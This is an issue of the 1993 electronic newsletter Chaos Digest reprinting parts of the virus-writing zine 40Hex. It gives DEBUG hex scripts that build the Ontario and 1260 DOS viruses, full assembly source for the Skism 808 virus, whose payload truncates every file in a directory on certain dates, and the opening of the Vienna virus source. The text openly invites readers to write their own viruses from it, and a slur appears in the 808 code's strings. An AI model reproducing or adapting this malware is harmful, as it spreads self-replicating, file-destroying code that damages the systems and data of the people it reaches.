Copy Link
Add to Bookmark
Report
Chaos Digest Volume 01 Numero 30
Chaos Digest Mercredi 19 Mai 1993 Volume 1 : Numero 30
ISSN 1244-4901
Editeur: Jean-Bernard Condat (jbcondat@attmail.com)
Archiviste: Yves-Marie Crabbe
Co-Redacteurs: Arnaud Bigare, Stephane Briere
TABLE DES MATIERES, #1.30 (19 Mai 1993)
File 1--40H VMag Issue 1 Volume 2 #008-11(1) (reprint)
Chaos Digest is a weekly electronic journal/newsletter. Subscriptions are
available at no cost by sending a message to:
linux-activists-request@niksula.hut.fi
with a mail header or first line containing the following informations:
X-Mn-Admin: join CHAOS_DIGEST
The editors may be contacted by voice (+33 1 47874083), fax (+33 1 47877070)
or S-mail at: Jean-Bernard Condat, Chaos Computer Club France [CCCF], B.P.
155, 93404 St-Ouen Cedex, France. He is a member of the EICAR and EFF (#1299)
groups.
Issues of ChaosD can also be found on some French BBS. Back issues of
ChaosD can be found on the Internet as part of the Computer underground
Digest archives. They're accessible using anonymous FTP from:
* kragar.eff.org [192.88.144.4] in /pub/cud/chaos
* uglymouse.css.itd.umich.edu [141.211.182.53] in /pub/CuD/chaos
* halcyon.com [192.135.191.2] in /pub/mirror/cud/chaos
* ftp.cic.net [192.131.22.2] in /e-serials/alphabetic/c/chaos-digest
* ftp.ee.mu.oz.au [128.250.77.2] in /pub/text/CuD/chaos
* nic.funet.fi [128.214.6.100] in /pub/doc/cud/chaos
* orchid.csv.warwick.ac.uk [137.205.192.5] in /pub/cud/chaos
CHAOS DIGEST is an open forum dedicated to sharing French information among
computerists and to the presentation and debate of diverse views. ChaosD
material may be reprinted for non-profit as long as the source is cited.
Some authors do copyright their material, and they should be contacted for
reprint permission. Readers are encouraged to submit reasoned articles in
French, English or German languages relating to computer culture and
telecommunications. Articles are preferred to short responses. Please
avoid quoting previous posts unless absolutely necessary.
DISCLAIMER: The views represented herein do not necessarily represent
the views of the moderators. Chaos Digest contributors
assume all responsibility for ensuring that articles
submitted do not violate copyright protections.
----------------------------------------------------------------------
Date: Tue May 11 09:24:40 PDT 1993
From: 0005847161@mcimail.com (American_Eagle_Publication_Inc. )
Subject: File 1--40H VMag Issue 1 Volume 2 #008-11(1) (reprint)
40Hex Volume 1 Issue 2 0008
The Ontario Virus
Here a quick nice little virus from our boyz up north.
V Status: Rare
Discovered: July, 1990
Symptoms: .COM & .EXE growth; decrease in system and free memory;
hard disk errors in the case of extreme infections
Origin: Ontario, Canada
Eff Length: 512 Bytes
Type Code: PRtAK - Parasitic Encrypted Resident .COM & .EXE Infector
Detection Method: ViruScan V66+, Pro-Scan 2.01+, NAV
Removal Instructions: SCAN /D, or Delete infected files
General Comments:
The Ontario Virus was isolated by Mike Shields in Ontario, Canada
in July, 1990. The Ontario virus is a memory resident infector of
.COM, .EXE, and overlay files. It will infect COMMAND.COM.
The first time a program infected with the Ontario Virus is executed,
it will install itself memory resident above the top of system memory
but below the 640K DOS boundary. Total system memory and free memory
will be decreased by 2,048 bytes. At this time, the virus will
infect COMMAND.COM on the C: drive, increasing its length by 512 bytes.
Each time an uninfected program is executed on the system with the
virus memory resident, the program will become infected with the viral
code located at the end of the file. For .COM files, they will
increase by 512 bytes in all cases. For .EXE and overlay files, the
file length increase will be 512 - 1023 bytes. The difference in
length for .EXE and overlay files is because the virus will fill out
the unused space at the end of the last sector of the uninfected file
with random data (usually a portion of the directory) and then append
itself to the end of the file at the next sector. Systems using
a sector size of more than 512 bytes may notice larger file increases
for infected files. Infected files will always have a file length
that is a multiple of the sector size on the disk.
In the case of extreme infections of the Ontario Virus, hard disk
errors may be noticed.
Ontario uses a complex encryption routine, and a simple identification
string will not identify this virus.
---------------------------------------------------------------------------
n ontario.com
e 0100 E9 1D 00 1D 66 65 63 74 65 64 20 50 72 6F 67 72
e 0110 61 6D 2E 20 0D 0A 24 BA 02 01 B4 09 CD 21 CD 20
e 0120 90 E8 E9 01 93 84 7B D9 F8 69 7C 3C 84 7B B6 A5
e 0130 71 60 0F CB 65 B7 BB 0A A3 07 55 97 7F 86 BE 9A
e 0140 FF 84 55 0D E5 84 79 AA F7 1A 79 86 F7 47 30 0A
e 0150 A0 05 55 87 7B 04 7B 25 69 84 56 04 7B 27 69 84
e 0160 F5 44 75 9B F0 71 48 7B C2 80 79 78 88 20 F5 5D
e 0170 81 43 7D 00 7B FB 7B 27 FD 84 80 3C 84 CF B6 A5
e 0180 64 9A 7C 8F 96 F0 77 09 CD FF 7B 3B 7B 85 2C 78
e 0190 DE 21 B8 08 BB AA 7A 82 06 84 91 6F 6E CD 15 B9
e 01A0 84 7B 0E 86 3B 4B FB 78 30 F1 6F B8 78 F0 6B B8
e 01B0 84 F1 72 8A 64 3E A6 85 93 8D 7B 4B 93 81 7B AA
e 01C0 84 AA 7B 86 7D 9A 29 D5 28 D4 C3 84 38 6C 5D 85
e 01D0 09 9C 8D 45 7A F0 70 04 9A 7A C3 85 38 6C 6D 85
e 01E0 09 8C C3 86 46 6C 75 85 08 87 92 86 7A 0F A3 8A
e 01F0 64 3C 7B D3 93 7B 7B 0D 75 80 79 0D 6D 82 79 3E
e 0200 73 86 C2 9F 7B 30 44 6C 97 84 09 CC FA BA 73 86
e 0210 36 DE 0F BD DB 8D 79 BE 7D 8F 79 F0 4C B7 A9 B7
e 0220 B2 3C 79 C6 93 4B 7B F6 50 B9 7B 64 0C A2 2B 25
e 0230 73 86 D8 FF 7B 25 71 86 D8 F9 7B DC 56 87 7B 42
e 0240 7D 8C 79 6D D8 8D 79 26 70 86 90 CD EB 07 45 98
e 0250 79 85 0E 87 92 01 7B 25 77 86 C2 84 79 73 9A D4
e 0260 29 35 7F 57 B1 57 93 87 B9 AF 7D 94 79 D4 DA 98
e 0270 79 27 00 84 DA 9A 79 81 6B 84 D8 F9 7B DC D8 9A
e 0280 79 43 7D 98 79 85 7B 7B 7D 88 79 DD 21 3C 7B C6
e 0290 93 E7 7B F6 3C 04 4D 7C 7A 8C 48 44 F5 5C DB E8
e 02A0 7F 8A 64 8A 7C 26 97 85 48 72 C4 A0 79 D3 C2 84
e 02B0 79 78 88 20 C5 AC 79 6C 21 84 21 3D 7B 86 CF C4
e 02C0 93 B7 7B F6 6C B7 B2 B7 A9 3C 7B C6 93 A3 7B F6
e 02D0 70 3E 73 86 C2 9F 7B 30 3B 6C 61 84 F0 92 7D 86
e 02E0 F0 8A 7F 86 C3 85 2C 6C 77 84 CF BA 93 83 7B DC
e 02F0 20 DD 21 9B 7C 47 E7 AA 84 9A 7B 86 B8 C7 41 D8
e 0300 38 CB 36 C9 3A CA 3F AA 38 CB 36 84 84 5E 56 2E
e 0310 8A 84 E8 01 B9 E8 01 F6 D0 2E 30 04 46 E2 F8 C3
rcx
220
w
q
--------------------------------------------------------------------------
HR
+++++
40Hex Volume 1 Issue 2 0009
The 1260 Virus
Here's a nice little encrypting virus written in America.
Aliases: V2P1
V Status: Research
Discovery: January, 1990
Symptoms: .COM file growth
Origin: Minnesota, USA
Eff Length: 1,260 Bytes
Type Code: PNC - Parasitic Encrypting Non-Resident .COM Infector
Detection Method: ViruScan V57+, IBM Scan, Pro-Scan 1.4+, F-Prot 1.12+,
AVTK 3.5+, VirHunt 2.0+, NAV
Removal Instructions: CleanUp V57+, Pro-Scan 1.4+, F-Prot 1.12+,
VirHunt 2.0+
General Comments:
The 1260 virus was first isolated in January, 1990. This virus does not
install itself resident in memory, but is it extremely virulent at infecting
.COM files. Infected files will have their length increased by 1,260 bytes,
and the resulting file will be encrypted. The encryption key changes with
each infection which occurs.
The 1260 virus is derived from the original Vienna Virus, though it is highly
modified.
This virus was developed as a research virus by Mark Washburn, who wished to
show the anti-viral community why identification string scanners do not work
in all cases. The encryption used in 1260 is one of many possible cases of
the encryption which may occur with Washburn's later research virus, V2P2.
-----------------------------------------------------------------------------
n 1260.com
e 0100 E9 1D 00 6E 66 65 63 74 65 64 20 50 72 6F 67 72
e 0110 61 6D 2E 20 0D 0A 24 BA 02 01 B4 09 CD 21 CD 20
e 0120 90 B8 89 86 4B B9 FD 04 FC 46 BF 47 01 90 2B DA
e 0130 31 0D 33 D1 2B D8 31 05 47 42 4B 40 90 E2 EE 4B
e 0140 4B 42 47 43 42 F8 47 FF 18 71 18 D2 A5 40 19 E2
e 0150 6D B4 08 F8 5C FA F4 A6 EB 08 55 F2 F4 73 82 1A
e 0160 65 C4 C4 4F 82 24 55 FA F4 7B B2 16 55 F4 E4 6F
e 0170 A2 00 1F F9 0C C2 F7 7D 06 73 32 66 F4 45 84 87
e 0180 3D 81 84 7A 77 5E 7F 04 40 C2 39 D7 C8 FA 28 C1
e 0190 B6 E1 0D 64 E6 FC 40 D9 39 D3 38 FA 71 A4 38 0A
e 01A0 6B E1 82 38 C3 71 22 77 36 13 F4 42 EE 37 C5 E0
e 01B0 B2 6C E2 CA E4 45 F4 F6 AA A4 75 30 68 FA A8 BE
e 01C0 05 83 F7 A9 BC FF F5 5B 5B 86 18 15 0F A5 E2 6E
e 01D0 9B 17 6E 39 64 3D 54 F7 7E 0D 1E CD 65 37 46 B9
e 01E0 31 C3 B0 C3 2C DF F7 3B EB A5 D3 79 EB D7 E5 6C
e 01F0 1B C5 6E 91 11 7A 32 56 F5 5F C9 CC 81 F0 B9 87
e 0200 F1 87 2F 6C 71 37 4B F7 F5 A8 EA 7E 83 0F 65 1A
e 0210 1A 97 E6 57 B9 51 7C 89 07 78 06 76 33 6D C5 7E
e 0220 C3 C3 36 63 4E 08 41 B9 7E 25 74 35 54 FB 5C E4
e 0230 E5 2E C4 0C E3 6B 39 43 BA 3E D4 84 F6 10 9A CB
e 0240 8E 87 F2 07 21 E4 CE EF 86 19 73 4C 09 FC E2 18
e 0250 96 01 61 5C 19 FC F8 84 2C 7F 8C 02 A4 7D 04 3F
e 0260 C2 68 68 FC C2 89 08 AE 4A F4 B1 7B 24 7D 20 41
e 0270 E2 29 C3 69 AC 0A 4A F1 B1 75 13 0E 0D 77 54 01
e 0280 40 25 82 4D A3 44 F0 CD 79 22 73 32 53 FC 2F C1
e 0290 91 E0 0B 88 E3 30 79 28 4A F4 A5 3D D3 75 8C 38
e 02A0 4B 92 38 74 FD 45 F1 F0 79 22 73 32 62 FC 2F C1
e 02B0 2E BF CB FA 2E 09 3A F3 F2 38 B0 C7 E3 30 7A CF
e 02C0 0F 49 C1 3E 85 F3 FD 45 FD FB 30 DE 8E F0 04 FA
e 02D0 EC 27 67 36 21 2C A9 37 AC 37 78 57 FE F3 01 2F
e 02E0 A4 4F 59 CF 4C 32 20 FB 31 9F 12 01 31 87 18 00
e 02F0 42 E8 21 7D F6 FE 49 D3 30 DA CE 2E 31 0D FA D9
e 0300 7D 47 4C A6 A9 F2 31 37 BE BD 0D 33 1A 31 12 EF
e 0310 21 CF CC 2A E9 3F 31 BA BB 13 31 78 F3 77 CA CF
e 0320 94 07 CD 4E 0C D4 FC 76 71 FA FD 33 6D 8B 17 EF
e 0330 66 AD 1D 23 D3 44 BB 15 74 7F F9 FF 31 1A 6F F1
e 0340 C1 08 8F E0 D0 F0 30 2E A7 24 7D 3D DB F2 2B A8
e 0350 0A ED EC 06 F8 F3 75 80 12 7B 3F EE FC 3E EA 2F
e 0360 8A 2C 4F CE 00 BE 58 FF FD 7B 3F EE FC 3E 5B B1
e 0370 14 EA 55 EC EC 79 8A 12 30 00 87 38 D9 F2 7F 2A
e 0380 07 CC 62 A5 4B BD 56 75 B2 16 7D 17 4A F1 D7 21
e 0390 98 E3 56 EE EC 1A 4A FE 17 17 30 75 8A 1E 9A 45
e 03A0 32 06 6D D6 F5 F2 7D 38 AB FA 30 C2 41 35 E2 EC
e 03B0 67 3D 1F 4A B2 A9 14 6C FC FF FA FE AC 0D EE C3
e 03C0 E4 90 2E 32 E1 F7 31 9C EB E7 45 FF BF 4A ED EF
e 03D0 57 EB ED 22 CC 81 F2 4B BD 42 FE FF 31 27 92 19
e 03E0 4C 09 5E CF 00 D2 76 A9 07 70 B3 07 7C 12 0D 10
e 03F0 6C 22 F2 EF 55 F2 AA 32 DC 4F C3 32 DC 4B 8C CC
e 0400 06 C5 7B 04 5B 72 3F 5E FD 36 DC E1 76 A5 11 61
e 0410 B3 15 59 F5 20 D2 E2 A6 CE 3B CE 24 CE 21 FE 39
e 0420 46 2E 72 CF CC A4 15 51 FD 38 76 B1 0D 72 1C D3
e 0430 6C 6A 2C A7 7F 22 34 2E 34 2A 34 76 B3 03 8C EE
e 0440 0A 0B 5C 4E 3E 33 07 2F 2E A1 3D A4 AE 33 06 35
e 0450 11 6D 3E 99 17 FB 2E 77 3F 29 1E AC 29 7B 06 94
e 0460 8E 1F CD 8A 22 7B 0E 0F 5A 3B 44 FC FE 18 30 13
e 0470 65 2A CD AA 08 CB B8 1A 8B 0B 3D AF 75 2C DE DA
e 0480 05 FF 8C 73 C9 F2 77 8A 1A 54 CE F8 74 B7 E9 E0
e 0490 EF 60 A9 EB B0 A8 A5 33 AD 73 22 AC A8 7B B8 28
e 04A0 62 F8 CA 46 89 F7 DA 02 76 BF F9 A2 A6 AB 21 70
e 04B0 F0 B8 56 EC EE A0 E1 77 B8 14 D3 7E FE 0A AD 03
e 04C0 0D 80 4B E3 20 96 FD 5C F9 FB F3 A7 5E F5 ED 4C
e 04D0 E3 EB 16 B7 F2 6E 3E 63 E3 AB 45 FF FD A3 D2 44
e 04E0 8B 2B 37 6C C1 F3 76 B9 21 58 F9 FF 76 B5 33 4C
e 04F0 EB EB 66 A9 0F 50 F3 FF 06 A3 E2 62 3E 4C CA 8E
e 0500 35 02 0B 36 70 F7 05 03 BB B0 6D CE F8 C2 E0 DC
e 0510 3C D8 34 C4 35 D8 24 D4 27 6B BD B8 BE B5 8F 37
e 0520 86 5B 2F 28 CE F3 FE FC FE FD FC F6 FC F9 EC E4
e 0530 EC E7 EC E2 EF FD FF EF FF E9 FF EB FF E5 0F 17
e 0540 0F 11 0C 13 0C EE FD E0 FD E5 FD DE FD D3 ED CC
e 0550 ED C9 ED CA 67 BC 14 75 BA 10 77 00 7D 1D 7A CD
e 0560 24 EB CC 7A 8C 4B 10 FA 77 2C 7D 14 21 F1 21 CF
e 0570 70 BA 67 A0 04 79 BA 14 77 04 7D 11 4A F1 64 8D
e 0580 8C D2 11 4D BD F7 CD F3 BC BD 1E 06 3F 19 F9 A7
e 0590 05 F7 EC C4 C2 B1 B3 B3 FC AA BD AA B4 CF 98 87
e 05A0 82 93 E2 8D 83 BF FC B3 FC FA FC FE FC F2 EC EE
e 05B0 EC EA EC EE EC F2 FC FE FC FA FC FE FC F2 0C 0F
e 05C0 0D 0B 0D 0F 0D F3 FD FF FD FB FD FF FD F3 ED EF
e 05D0 ED EB ED EF ED F3 FD FF FD FB FD FF FD F3 CF F0
e 05E0 F2 F4 F2 F0 F2 CC C2 BC B2 B6 FE FC FD F3 ED EF
e 05F0 ED EB ED CF CA 97 A6 ED DD FB FD FF A9 BA C3 D6
e 0600 A3 C8 C2 C2 8D BE FD B2 FD FB FD FF 1A 1A 1A 1A
rcx
50C
w
q
--------------------------------------------------------------------------
HR
+++++
40Hex Volume 1 Issue 2 0010
The 808 Virus
Here another virus from Skism. It's a quick overwriting virus but
you can use the source code to write your own viruses.
--------------------------------------------------------------------------
;The Skism 808 Virus. Created 1991 by Smart Kids Into Sick Methods.
filename EQU 30 ;used to find file name
fileattr EQU 21 ;used to find file attributes
filedate EQU 24 ;used to find file date
filetime EQU 22 ;used to find file time
code_start EQU 0100h ;start of all .COM files
virus_size EQU 808 ;TR 808
code segment 'code'
assume cs:code,ds:code,es:code
org code_start
main proc near
jmp virus_start
encrypt_val db 00h
virus_start:
call encrypt ;encrypt/decrypt file
jmp virus ;go to start of code
encrypt:
push cx
mov bx,offset virus_code ;start encryption at data
xor_loop:
mov ch,[bx] ;read current byte
xor ch,encrypt_val ;get encryption key
mov [bx],ch ;switch bytes
inc bx ;move bx up a byte
cmp bx,offset virus_code+virus_size
;are we done with the encryption
jle xor_loop ;no? keep going
pop cx
ret
infectfile:
mov dx,code_start ;where virus starts in memory
mov bx,handle ;load bx with handle
push bx ;save handle on stack
call encrypt ;encrypt file
pop bx ;get back bx
mov cx,virus_size ;number of bytes to write
mov ah,40h ;write to file
int 21h
push bx
call encrypt ;fix up the mess
pop bx
ret
virus_code:
wildcards db "*",0 ;search for directory argument
filespec db "*.EXE",0 ;search for EXE file argument
filespec2 db "*.*",0
rootdir db "\",0 ;argument for root directory
dirdata db 43 dup (?) ;holds directory DTA
filedata db 43 dup (?) ;holds files DTA
diskdtaseg dw ? ;holds disk dta segment
diskdtaofs dw ? ;holds disk dta offset
tempofs dw ? ;holds offset
tempseg dw ? ;holds segment
drivecode db ? ;holds drive code
currentdir db 64 dup (?) ;save current directory into this
handle dw ? ;holds file handle
orig_time dw ? ;holds file time
orig_date dw ? ;holds file date
orig_attr dw ? ;holds file attr
idbuffer dw 2 dup (?) ;holds virus id
virus:
mov ax,3000h ;get dos version
int 21h
cmp al,02h ;is it at least 2.00?
jb bus1 ;won't infect less than 2.00
mov ah,2ch ;get time
int 21h
mov encrypt_val,dl ;save m_seconds to encrypt val so
;theres 100 mutations possible
setdta:
mov dx,offset dirdata ;offset of where to hold new dta
mov ah,1ah ;set dta address
int 21h
newdir:
mov ah,19h ;get drive code
int 21h
mov dl,al ;save drivecode
inc dl ;add one to dl, because functions differ
mov ah,47h ;get current directory
mov si, offset currentdir ;buffer to save directory in
int 21h
mov dx,offset rootdir ;move dx to change to root directory
mov ah,3bh ;change directory to root
int 21h
scandirs:
mov cx,13h ;include hidden/ro directorys
mov dx, offset wildcards ;look for '*'
mov ah,4eh ;find first file
int 21h
cmp ax,12h ;no first file?
jne dirloop ;no dirs found? bail out
bus1:
jmp bus
dirloop:
mov ah,4fh ;find next file
int 21h
cmp ax,12h
je bus ;no more dirs found, roll out
chdir:
mov dx,offset dirdata+filename;point dx to fcb - filename
mov ah,3bh ;change directory
int 21h ;
mov ah,2fh ;get current dta address
int 21h
mov [diskdtaseg],es ;save old segment
mov [diskdtaofs],bx ;save old offset
mov dx,offset filedata ;offset of where to hold new dta
mov ah,1ah ;set dta address
int 21h
scandir:
mov cx,07h ;find any attribute
mov dx,offset filespec ;point dx to "*.COM",0
mov ah,4eh ;find first file function
int 21h
cmp ax,12h ;was file found?
jne transform
nextexe:
mov ah,4fh ;find next file
int 21h
cmp ax,12h ;none found
jne transform ;found see what we can do
mov dx,offset rootdir ;move dx to change to root directory
mov ah,3bh ;change directory to root
int 21h
mov ah,1ah ;set dta address
mov ds,[diskdtaseg] ;restore old segment
mov dx,[diskdtaofs] ;restore old offset
int 21h
jmp dirloop
bus:
jmp rollout
transform:
mov ah,2fh ;temporally store dta
int 21h
mov [tempseg],es ;save old segment
mov [tempofs],bx ;save old offset
mov dx, offset filedata + filename
mov bx,offset filedata ;save file...
mov ax,[bx]+filedate ;date
mov orig_date,ax ;
mov ax,[bx]+filetime ;time
mov orig_time,ax ; and
mov ax,[bx]+fileattr
mov ax,4300h
int 21h
mov orig_attr,cx
mov ax,4301h ;change attributes
xor cx,cx ;clear attributes
int 21h
mov ax,3d00h ;open file - read
int 21h
jc fixup ;error - find another file
mov handle,ax ;save handle
mov ah,3fh ;read from file
mov bx,handle ;move handle to bx
mov cx,02h ;read 2 bytes
mov dx,offset idbuffer ;save to buffer
int 21h
mov ah,3eh ;close file for now
mov bx,handle ;load bx with handle
int 21h
mov bx, idbuffer ;fill bx with id string
cmp bx,02ebh ;infected?
jne doit ;same - find another file
fixup:
mov ah,1ah ;set dta address
mov ds,[tempseg] ;restore old segment
mov dx,[tempofs] ;restore old offset
int 21h
jmp nextexe
doit:
mov dx, offset filedata + filename
mov ax,3d02h ;open file read/write access
int 21h
mov handle,ax ;save handle
call infectfile
;mov ax,3eh ;close file
;int 21h
rollout:
mov ax,5701h ;restore original
mov bx,handle
mov cx,orig_time ;time and
mov dx,orig_date ;date
int 21h
mov ax,4301h ;restore original attributes
mov cx,orig_attr
mov dx,offset filedata + filename
int 21h
;mov bx,handle
;mov ax,3eh ;close file
;int 21h
mov ah,3bh ;try to fix this
mov dx,offset rootdir ;for speed
int 21h
mov ah,3bh ;change directory
mov dx,offset currentdir ;back to original
int 21h
mov ah,2ah ;check system date
int 21h
cmp cx,1991 ;is it at least 1991?
jb audi ;no? don't do it now
cmp dl,25 ;is it the 25th?
jb audi ;not yet? quit
cmp al,5 ;is Friday?
jne audi ;no? quit
mov dx,offset dirdata ;offset of where to hold new dta
mov ah,1ah ;set dta address
int 21h
mov ah,4eh ;find first file
mov cx,7h
mov dx,offset filespec2 ;offset *.*
Loops:
int 21h
jc audi ;error? then quit
mov ax,4301h ;find all normal files
xor cx,cx
int 21h
mov dx,offset dirdata + filename
mov ah,3ch ;fuck up all files in current dir
int 21h
jc audi ;error? quit
mov ah,4fh ;find next file
jmp loops
audi:
mov ax,4c00h ;end program
int 21h
;The below is just text to pad out the virus size to 808 bytes. Don't
;just change the text and claim that this is your creation.
words_ db "Skism Rythem Stack Virus-808. Smart Kids Into Sick Methods",0
words2 db " Dont alter this code into your own strain, faggit. ",0
words3 db " HR/SSS NYCity, this is the fifth of many, many more....",0
words4 db " You sissys.....",0
main endp
code ends
end main
+++++
40Hex Volume 1 Issue 2 0011
Vienna and Violator Viruses
The Vienna virus, since it's source code was released, has become
one of the most common viruses ever. Not only that but there are
over 20 known strains of this virus. We at 40Hex want to add on to
the list by giving out the source for the orginal Vienna virus as
well as the Violator-B source by Rabid.
---------------------------------------------------------------------------
MOV_CX MACRO X
DB 0B9H
DW X
ENDM
CODE SEGMENT
ASSUME DS:CODE,SS:CODE,CS:CODE,ES:CODE
ORG $+0100H
;***************************************************************************
;Start out with a JMP around the remains of the original .COM file, into the
;virus. The actual .COM file was just an INT 20, follow. by a bunch of NOPS.
;The rest of the file (first 3 bytes) are stored in the virus data area.
;***************************************************************************
VCODE: JMP virus
;This was the rest of the original .COM file. Tiny and simple, this time
NOP
NOP
NOP
NOP
NOP
NOP
NOP
NOP
NOP
NOP
NOP
NOP
NOP
NOP
NOP
;************************************************************
; The actual virus starts here
;************************************************************
v_start equ $
virus: PUSH CX
MOV DX,OFFSET vir_dat ;This is where the virus data starts.
; The 2nd and 3rd bytes get modified.
CLD ;Pointers will be auto INcremented
MOV SI,DX ;Access data as offset from SI
ADD SI,first_3 ;Point to original 1st 3 bytes of .COM
MOV DI,OFFSET 100H ;cause all .COM files start at 100H
MOV CX,3
REPZ MOVSB ;Restore original first 3 bytes of .COM
MOV SI,DX ;Keep SI pointing to the data area
;*************************************************************
; Check the DOS version
;*************************************************************
MOV AH,30H
INT 21H
CMP AL,0 ;0 means it's version 1.X
JNZ dos_ok ;For version 2.0 or greater
JMP quit ;Don't try to infect version 1.X
;*************************************************************
; Here if the DOS version is high enough for this to work
;*************************************************************
dos_ok: PUSH ES
;*************************************************************
; Get DTA address into ES:BX
;*************************************************************
MOV AH,2FH
INT 21H
;*************************************************************
; Save the DTA address
;*************************************************************
MOV [SI+old_dta],BX
MOV [SI+old_dts],ES ;Save the DTA address
POP ES
;*************************************************************
; Set DTA to point inside the virus data area
;*************************************************************
MOV DX,dta ;Offset of new DTA in virus data area
; NOP ;MASM will add this NOP here
ADD DX,SI ;Compute DTA address
MOV AH,1AH
INT 21H ;Set new DTA to inside our own code
PUSH ES
PUSH SI
MOV ES,DS:2CH
MOV DI,0 ;ES:DI points to environment
;************************************************************
; Find the "PATH=" string in the environment
;************************************************************
find_path:
POP SI
PUSH SI ;Get SI back
ADD SI,env_str ;Point to "PATH=" string in data area
LODSB
MOV CX,OFFSET 8000H ;Environment can be 32768 bytes long
REPNZ SCASB ;Search for first character
MOV CX,4
------------------------------
End of Chaos Digest #1.30
************************************
